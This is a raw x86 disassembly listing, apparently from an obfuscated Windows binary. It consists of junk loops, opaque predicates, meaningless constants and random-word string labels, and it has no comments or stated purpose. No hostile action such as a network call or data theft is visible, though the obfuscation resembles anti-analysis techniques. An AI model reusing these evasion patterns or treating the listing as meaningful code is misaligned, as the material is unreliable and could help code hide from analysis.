call fcn.10004951
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x1001ffff
mov dword [ebp - 0x20], 0x4ebb
cmp dword [ebp - 0x20], 0x5135
jle 0x1001ff8f
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x18], 0x2b5b
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x24], 0x9fe
mov esi, ebx
or eax, esi
mov ecx, 0x10071a98
cdq
push edx
push eax
call fcn.100046a4
mov eax, dword [ebp - 0x3c]
inc esi
cmp esi, 0x145d
jl 0x1001ff50
inc eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
jne 0x1001ff4e
mov eax, dword [ebp - 0x2c]
add eax, edi
dec dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
jne 0x1001ff44
inc edi
cmp edi, 0x70d
jl 0x1001ff38
mov esi, 0xffff
push ecx
lea eax, [ebp - 0x92]
mov byte [ebp - 0x92], bl
push 0x7370
push eax
mov edx, 0x3754
xor cl, cl
call fcn.1001c198
add esp, 0xc
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x20], 0x4c24
jge 0x1001fff0
mov edx, str.jxwa_qmrgm_igvpnegro_ijbmizts_upbqcdan_lkmee_ufca_zfqdmjf_hrbmlmlg_moxl_arvdtkpm_cwvhgm
mov ecx, 0x10071a98
call fcn.10006c80
jmp 0x1001fff0
mov dword [ebp - 4], 0x15
dec dword [ebp - 0x34]
jmp 0x1001ff1d
inc dword [ebp - 0x1c]
xor edx, edx
inc edx
jmp 0x1001fdd6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x140]
call fcn.10004951
dec dword [ebp - 0x98]
jmp 0x1001fd43
mov esi, dword [ebp - 0x78]
xor edi, edi
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 4
jge 0x10020243
mov al, byte [edi + esi]
lea edx, [ebp - 0x94]
push 0x3430
push 0x4f88
push 0x38c3
mov byte [ebp - 0x5d], al
xor cl, cl
push 1
mov dword [ebp - 0x18], 0xffff
mov byte [ebp - 0x94], bl
push 1
call fcn.1001d155
add esp, 0x14
cmp dword [ebp - 0x18], ebx
je 0x100200dc
push 0x7c49
push 0x25d
lea eax, [ebp - 0x99]
mov byte [ebp - 0x99], bl
push eax
push 0x6097
push 0x7991
push 1
push 0x1bc6
mov dl, 1
push 0x5da
push 0x3f36
mov cl, dl
call fcn.1001d3d3
add esp, 0x24
mov byte [ebp - 0x9b], bl
lea edx, [ebp - 0x9b]
mov cl, 1
push 0x7682
push 0x14dc
push 0x7c24
push 1
push ebx
call fcn.1001ea6d
add esp, 0x14
jmp 0x100201df
mov dword [ebp - 0x18], 0xffffffe7
cmp dword [ebp - 0x18], 0xc
je 0x100201a8
mov byte [ebp - 0x9d], bl
mov dword [ebp - 0x24], 0x311b
cmp dword [ebp - 0x24], 0x3497
jle 0x10020130
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10071a98
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.100046a4
inc edi
cmp edi, 0x1e6d
jl 0x10020107
inc esi
cmp esi, 0x55b6
jl 0x10020105
mov edi, dword [ebp - 0x28]
push 1
push ebx
lea eax, [ebp - 0x9d]
mov edx, 0x3595
push eax
push 1
push 0x780a
push 0x78b4
mov ecx, 0x4bf8
call fcn.1001ecab
add esp, 0x18
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x24], 0x306e
jge 0x10020177
mov edx, str.vkw_lod_tdkhgtzth_ykaqiqx
mov ecx, 0x10071a98
call fcn.10006c80
or dword [ebp - 4], 0xffffffff
inc dword [ebp - 0x18]
jmp 0x100200e3
push 0x3fbc
push ecx
push 0x2826
push 0x4522
push 0x2575
push ecx
push 0x3390
lea eax, [ebp - 0x93]
mov byte [ebp - 0x93], bl
push eax
push ecx
push ebx
mov edx, 0x4d21
call fcn.1001c881
add esp, 0x28
mov eax, edi
mov cl, byte [ebp - 0x5d]
cdq
idiv dword [ebp - 0xf8]
mov esi, edx
mov dl, byte [ebp - 0x41]
call fcn.10024b13
mov ecx, dword [ebp - 0xe0]
mov dl, byte [esi + ecx]
mov cl, al
call fcn.10024b13
mov esi, dword [ebp - 0x78]
lea edx, [ebp - 0x41]
push 0x51ce
push ebx
push 1
push 0x7162
push 0x4173
mov byte [edi + esi], al
mov ecx, 0x11dd
push 0x7f7e
lea eax, [ebp - 0x5d]
push eax
push 1
push 0x7d0a
call fcn.1001d719
add esp, 0x24
inc edi
jmp 0x1002002a
push 1
lea ecx, [ebp - 0x378]
call fcn.100048ce
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x2c], 0xf37831e4
mov dword [ebp - 0x18], ebx
jmp 0x10020276
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x378]
mov dword [eax + ecx*4], 0xcf5720e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10020263
mov dl, 1
call fcn.1001d4bb
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jl 0x100202c3
mov dword [ebp - 0x18], 0xad86e52d
mov dword [ebp - 0x18], ebx
jmp 0x100202a3
push ecx
push ecx
call fcn.1001d4f7
inc dword [ebp - 0x18]
pop ecx
pop ecx
mov dl, 1
cmp dword [ebp - 0x18], ebx
jle 0x10020297
push 0x2f5d
push ecx
push ecx
mov ecx, 0x7aa5
call fcn.1001d539
add esp, 0xc
dec dword [ebp - 0x2c]
jns 0x1002028b
or edi, 0xffffffff
lea ecx, [ebp - 0x378]
mov dword [ebp - 4], edi
call fcn.10004951
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], 0x5c62e089
mov dword [ebp - 0x28], 0xdfc9b996
mov dword [ebp - 0x24], 0xc27f355c
mov dword [ebp - 0x24], 0xfc75daa0
mov dword [ebp - 0x24], 0x9c1477a1
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x18], ebx
jmp 0x1002031e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002030d
mov dword [ebp - 0x1c], ebx
jmp 0x1002046b
mov dword [ebp - 0x18], 0xfe93
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x3c], 0x98070ade
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xb8], ebx
je 0x10020386
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0xb8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
neg eax
je 0x10020386
xor eax, eax
inc eax
jmp 0x10020388
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
add eax, 0xd97867a7
add eax, ecx
cmp eax, dword [ebp - 0xb8]
jl 0x100203a9
cmp dword [ebp - 0x28], ebx
jne 0x100203a9
mov edx, ebx
jmp 0x100203ac
xor edx, edx
inc edx
mov dword [ebp - 0x3c], 0x8f0d
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, edx
mov eax, 0xcfda6c2e
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0xb8]
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
sete cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub eax, 0x7f28
cmp eax, 0xffff
je 0x10020456
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10020446
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
push ecx
setle dl
mov dword [ebp - 0x24], edx
lea edx, [ebp - 0x9c]
push 1
mov byte [ebp - 0x9c], bl
push ecx
call fcn.1001d5ab
add esp, 0xc
dec dword [ebp - 0x20]
jns 0x10020413
push ecx
push ebx
mov ecx, 0x1343
call fcn.1001d473
pop ecx
pop ecx
jmp 0x10020468
sub esp, 0x1c
xor dl, dl
mov ecx, 0x49af
call fcn.1001dff0
add esp, 0x1c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002032c
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x1002049f
push 0x3f59
push 1
push 0x2de4
push 0xed0
push 1
mov edx, 0x18ca
xor cl, cl
call fcn.1001e10e
add esp, 0x14
cmp dword [ebp - 0xe4], 0
jle 0x10022524
cmp dword [ebp - 0xe4], 0x28d2
jae 0x10022524
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x100204d2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x64], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x100204c8
mov dword [ebp - 0x1c], ebx
jmp 0x10020507
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x18], ebx
jmp 0x100204f1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x64], ebx
jne 0x100204f6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100204e5
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x64]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x64], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x100204dd
mov dword [ebp - 0x1c], ebx
jmp 0x10020629
mov dword [ebp - 0x2c], 0xafe30f58
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jl 0x10020626
push 1
lea ecx, [ebp - 0x154]
call fcn.100048ce
push ecx
lea eax, [ebp - 0x154]
mov dword [ebp - 4], 0x1b
push eax
push 0x38f7
lea edx, [ebp - 0x390]
mov cl, 1
call fcn.1001c198
mov eax, dword [ebp - 0x154]
add esp, 0xc
mov dword [eax], ebx
mov dword [ebp - 0x20], 0xcc895931
mov dword [ebp - 0x20], ebx
jmp 0x100205f8
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x64], ebx
jne 0x10020601
mov eax, dword [ebp - 0x64]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x64]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add ecx, 0x4d8142c7
mov eax, dword [ebp + eax*4 - 0x64]
cmp ecx, eax
mov eax, dword [ebp - 0x154]
setle dl
imul edx, dword [eax]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp + eax*4 - 0x64]
neg edx
sbb edx, edx
xor eax, eax
neg edx
cmp edx, 3
setne al
sub esi, 0xfffffffb
add esi, eax
mov eax, dword [ebp - 0x64]
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x154]
sete cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x154]
sete cl
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0x64], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1002056f
mov eax, dword [ebp - 0x154]
dec dword [eax]
jns 0x10020560
lea ecx, [ebp - 0x154]
mov dword [ebp - 4], edi
call fcn.10004951
dec dword [ebp - 0x2c]
jns 0x10020527
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10020514
lea eax, [ebp - 0xe4]
push eax
push 0x20d8
lea eax, [ebp - 0x78]
push eax
push 0x1cf2
push 0x2211
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0xe0]
push eax
lea eax, [ebp - 0x41]
push eax
push 1
push ecx
push 0x2f59
push ecx
push 0x4b54
lea edx, [ebp - 0x254]
mov ecx, 0x28db
call fcn.1001d650
add esp, 0x34
lea ecx, [ebp - 0x26c]
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], ebx
push eax
call fcn.100048ce
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x54], ebx
jmp 0x100206be
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x29c], edi
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jl 0x100206b1
mov dword [ebp - 0x54], ebx
jmp 0x100206da
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x44c], 6
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 4
jl 0x100206c9
push 0xba
push ecx
push 0x25a2
push ecx
push 0x15fc
lea eax, [ebp - 0x26c]
mov ecx, 0x4318
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
call fcn.1001ca3c
mov eax, dword [ebp - 0x298]
add esp, 0x20
mov dword [ebp - 0x28], eax
mov ecx, 0xfdbd0176
inc dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
sub ecx, eax
je 0x10020732
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x294], eax
je 0x10020732
xor eax, eax
inc eax
jmp 0x10020734
mov eax, ebx
mov dword [ebp - 0x28], eax
xor edx, edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x440]
cmp ecx, eax
setl dl
cmp edx, 0x9008cf5a
jb 0x10020761
cmp dword [ebp - 0x298], ebx
jne 0x10020761
mov edx, ebx
jmp 0x10020764
xor edx, edx
inc edx
mov eax, dword [ebp - 0x26c]
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x3c]
setle cl
sub ecx, eax
mov eax, dword [ebp - 0x26c]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x444]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x298]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
add ecx, 0xffff
cmp ecx, 0xcf84a357
lea ecx, [ebp - 0x26c]
setl al
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], 1
mov dword [ebp - 4], edi
call fcn.10004951
push 0x1fbf
push ebx
mov ecx, 0x1062bae0
call fcn.1001d117
pop ecx
pop ecx
push 1
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 0xd0], ebx
call fcn.100048ce
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0x290]
xor eax, eax
inc eax
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x2c], 0x6d238e48
mov dword [ebp - 0x38], 0x3ec93cc2
mov dword [ebp - 0x20], 0x978d8ef0
push 4
call fcn.100048ce
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x2a8]
mov dword [ebp - 0x1c], 4
lea edx, [ebp - 0x1f0]
push 9
pop esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x28], 0xfffc
push 0x542
mov dword [ebp - 0x34], 0x584125db
push eax
mov dword [ebp - 0x3c], 0xaba8b036
mov dword [ebp - 0x360], esi
push ecx
mov dword [ebp - 0x35c], esi
mov dword [ebp - 0x358], esi
push ebx
mov dword [ebp - 0x354], esi
push ecx
mov dword [ebp - 0x40], 0xb1bd
call fcn.1001d2a6
add esp, 0x14
lea eax, [ebp - 0x290]
lea ecx, [ebp - 0x1f0]
push ebx
push eax
call fcn.1001c58f
mov eax, dword [ebp - 0x2a8]
pop ecx
pop ecx
mov dword [eax], 1
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x3c], ebx
jne 0x100208e2
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2a8]
sub ecx, 0xcf75
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x160]
setne dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x160]
setle cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sete dl
add eax, 0xfffffffb
add eax, edx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x290]
mov ecx, dword [ebp - 0x35c]
sub edx, dword [eax + 8]
mov eax, dword [ebp - 0x290]
imul ecx, edx
mov dword [eax], ecx
lea ecx, [ebp - 0x290]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
call fcn.10004951
lea ecx, [ebp - 0x2a8]
mov dword [ebp - 4], edi
call fcn.10004951
mov eax, dword [ebp - 0x78]
lea ecx, [ebp - 0x3ac]
add eax, 4
mov dword [ebp - 0x18], 0x8ade19d2
mov dword [ebp - 0x3c], eax
xor eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0xd37a5b7d
mov dword [ebp - 0x38], 7
push eax
call fcn.100048ce
push 3
lea ecx, [ebp - 0x39c]
mov dword [ebp - 4], 0x1f
call fcn.100048ce
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x7c], ebx
jmp 0x100209d8
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0x408], ebx
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], 1
jl 0x100209cb
push ebx
push 1
lea eax, [ebp - 0x7c]
mov edx, 0x6832
push eax
lea eax, [ebp - 0x3ac]
mov cl, 1
push eax
push 0x51a9
call fcn.1001c245
add esp, 0x14
lea eax, [ebp - 0x39c]
mov edx, 0x2825
push eax
lea eax, [ebp - 0x7c]
push eax
push ecx
push ecx
push ebx
call fcn.1001d0e3
add esp, 0x14
mov edx, 0x394d
mov ecx, 0x7704
push 0x5115
push 1
push 1
push 0x3d03
push 0x123e
push 0x50f9
push 0x5977
push 1
push 0x58b7
call fcn.1001d719
add esp, 0x24
mov dword [ebp - 0x18], ebx
jmp 0x10020acb
mov dword [ebp - 0x38], 0x34e6d4f2
lea ecx, [ebp - 0x38c]
push 2
call fcn.100048ce
push 0x3eff
push ecx
lea eax, [ebp - 0x38c]
mov byte [ebp - 4], 0x21
push eax
push ecx
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x204], 0xb972
push eax
push ecx
mov edx, 0x34d2
mov cl, 1
call fcn.1001c5cf
push 1
push 0x526a
lea eax, [ebp - 0x204]
mov dl, 1
push eax
push 1
mov ecx, 0x3d48
call fcn.1001db95
add esp, 0x28
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x38c]
call fcn.10004951
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10020a56
lea ecx, [ebp - 0x39c]
call fcn.10004951
lea ecx, [ebp - 0x3ac]
mov dword [ebp - 4], edi
call fcn.10004951
mov dword [ebp - 0x20], 0x76f5020f
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x110], edi
mov dword [ebp - 0x10c], edi
mov dword [ebp - 0x108], edi
mov dword [ebp - 0x1c], ebx
jmp 0x10020b25
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x46c], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10020b14
mov dword [ebp - 0x1c], ebx
jmp 0x10020b41
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48c], 0x40ee
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10020b30
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], ebx
jl 0x10020d2a
mov dword [ebp - 0x18], 0xc3ad3b31
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], 0x49c5
cmp dword [ebp - 0x24], 0x4c29
jle 0x10020ba0
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov eax, ebx
mov ecx, 0x10071a98
or eax, esi
cdq
push edx
push eax
call fcn.100046a4
inc ebx
cmp ebx, 0x1563
jl 0x10020b7a
inc esi
push 0
pop ebx
cmp esi, 0x71da
jl 0x10020b77
mov dword [ebp - 0x2c], 0x11a796d4
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x24], 0x4617
jge 0x10020be7
mov edx, str.vvhepcxg_etavexqkn_pgywpgptv_idncsmwvl_vwmb_wvxhdy_itsykxg_bvhhpcm_bvnnutgmk_nad_qejvqj_pvwcrwbl_hbelw_ahqizy
mov ecx, 0x10071a98
call fcn.10006c80
jmp 0x10020be7
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], 0x240a
cmp dword [ebp - 0x18], 0x25e4
jle 0x10020c4b
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x2c], 0x65d5
mov dword [ebp - 0x24], eax
cdq
lea ecx, [ebp - 0x510]
push edx
push eax
call fcn.10001a95
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10020c20
mov eax, dword [eax]
push eax
call fcn.1003fffd
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x510]
call fcn.10004e55
mov eax, dword [ebp - 0x24]
add eax, esi
dec dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
jne 0x10020c08
inc esi
cmp esi, 0x5f4e
jl 0x10020bfc
mov dword [ebp - 0x38], 5
cmp dword [ebp - 0x18], 0x2101
jge 0x10020c66
push str.psbj_evgdme_ajzh_ccptksbu_eknl_sgyq_rilqmtsx
call fcn.1003fffd
pop ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x114], 0xcbedfa90
mov dword [ebp - 0x110], 0xcbedfa90
mov dword [ebp - 0x10c], 0xcbedfa90
mov dword [ebp - 0x108], 0xcbedfa90
mov dword [ebp - 0x178], 0x6f85a06c
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x10020d08
mov dword [ebp - 0x38], 0xc9214a9b
mov dword [ebp - 0x40], 0x858905b8
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x20]
push 1
mov eax, dword [ebp + eax*4 - 0x46c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x46c]
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x28]
mov dword [ebp - 0x2c], 0xfffffffe
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
lea eax, [ebp - 0x8d]
mov dword [ebp - 0x40], ebx
push eax
mov byte [ebp - 0x8d], bl
push ecx
call fcn.1001dbe7
add esp, 0xc
dec dword [ebp - 0x18]
jns 0x10020ca7
push 0x6585
lea eax, [ebp - 0x178]
mov ecx, 0x5097
push eax
push ebx
call fcn.1001c4c0
add esp, 0xc
dec dword [ebp - 0x20]
jmp 0x10020b4e
push 0x6895
push 0x7b1d
push 0x2b0f
push 0x3339
push ecx
push 0x6077
push ebx
push 0x7945
push 0x61b0
push 0x1b7d
mov edx, 0x56cf
mov ecx, 0x5c45
call fcn.1001eb85
add esp, 0x20
mov dword [ebp - 0x38], 0xd6c05baf
xor dl, dl
call fcn.1001d4f7
add esp, 4
mov byte [ebp - 0x9a], bl
lea eax, [ebp - 0x9a]
push eax
push 1
push 0x3a17
call fcn.1001dc2b
add esp, 0x10
mov byte [ebp - 0x6c], bl
lea ecx, [ebp - 0x2d4]
mov word [ebp - 0x6b], 0x10d
mov byte [ebp - 0x69], 0x45
push 2
call fcn.100048ce
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 4], 0x26
push ecx
xor eax, eax
lea ecx, [ebp - 0x3f0]
inc eax
push 0x7e9d
mov dword [ebp - 0xc0], eax
push eax
call fcn.1001c4c0
add esp, 0xc
mov dword [ebp - 0xc0], ebx
jmp 0x10020e52
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x20c], 0xfffffffe
push eax
push 0x43e0
push 0x419e
push 0x7a57
lea eax, [ebp - 0x20c]
xor dl, dl
push eax
push 1
lea eax, [ebp - 0x2d4]
mov cl, 1
push eax
push 0x3887
push 0x21
call fcn.1001d3d3
add esp, 0x24
mov byte [ebp - 0x8f], bl
lea eax, [ebp - 0x8f]
mov edx, 0x515d
xor cl, cl
push eax
push 0x4a29
push 0x11af
push ebx
push 1
call fcn.1001ea6d
add esp, 0x14
inc dword [ebp - 0xc0]
cmp dword [ebp - 0xc0], 1
jle 0x10020de0
mov byte [ebp - 0x2d], bl
cmp byte [ebp - 0x2d], 0
je 0x10020e70
push ebx
sub esp, 0x10
call fcn.1001c8cd
add esp, 0x14
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 4], edi
call fcn.10004951
push 0xa
pop eax
mov word [ebp - 0xd4], ax
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x40], 0x14648a57
mov dword [ebp - 0x20], ebx
jmp 0x10020fcb
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], ebx
jmp 0x10020eb7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2bc], 0x6316
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10020ea6
mov dword [ebp - 0x1c], ebx
jmp 0x10020ecf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x400], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10020ec2
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x34], ebx
jne 0x10020ee7
cmp dword [ebp - 0x20], ebx
je 0x10020ee7
xor ecx, ecx
inc ecx
jmp 0x10020ee9
mov ecx, ebx
xor eax, eax
cmp ecx, 0x7dcd
mov ecx, 0xa8bc07c2
setg al
sub eax, dword [ebp - 0x2bc]
dec eax
imul eax, eax, 0xdade
cmp ecx, eax
mov eax, dword [ebp - 0x2bc]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setl dl
sub eax, dword [ebp - 0x34]
cmp eax, edx
jge 0x10020f42
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3f8], 0xfffffffc
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x40], eax
jmp 0x10020fc8
push ebx
push ecx
push 0x75e1
push 0x5c37
push 0x56ba
sub esp, 0xc
mov dword [ebp - 0x28], 0x36cedda5
mov dword [ebp - 0x24], 0xfffffffe
mov edx, 0x37be
call fcn.1001e781
add esp, 0x20
mov dword [ebp - 0x34], ebx
jmp 0x10020fc2
mov dword [ebp - 0x40], edi
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
cmp eax, 0xd786
mov eax, dword [ebp - 0x34]
setne dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
dec eax
jne 0x10020f9f
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
xor edx, edx
mov dword [ebp - 0x3f8], esi
mov eax, dword [ebp - 0x20]
push 0xfffffffffffffffa
pop ecx
sub ecx, eax
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
add edx, esi
mov dword [ebp - 0x40], edx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 8
jl 0x10020f76
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 8
jg 0x10020e9e
push 2
pop esi
mov dword [ebp - 0x100], ebx
xor eax, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], esi
cmp esi, 4
jae 0x100219ad
mov dword [ebp - 0xe8], 0x13a473eb
inc eax
mov dword [ebp - 0x134], 0xa9831117
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x24], 0x2664
cmp dword [ebp - 0x24], 0x276d
jle 0x10021054
mov esi, ebx
mov dword [ebp - 0x40], ebx
mov eax, ebx
mov ecx, 0x10071a98
or eax, esi
cdq
push edx
push eax
call fcn.100046a4
inc ebx
cmp ebx, 0x5b7f
jl 0x1002102b
inc esi
push 0
pop ebx
cmp esi, 0x6cd1
jl 0x10021028
mov esi, dword [ebp - 0x20]
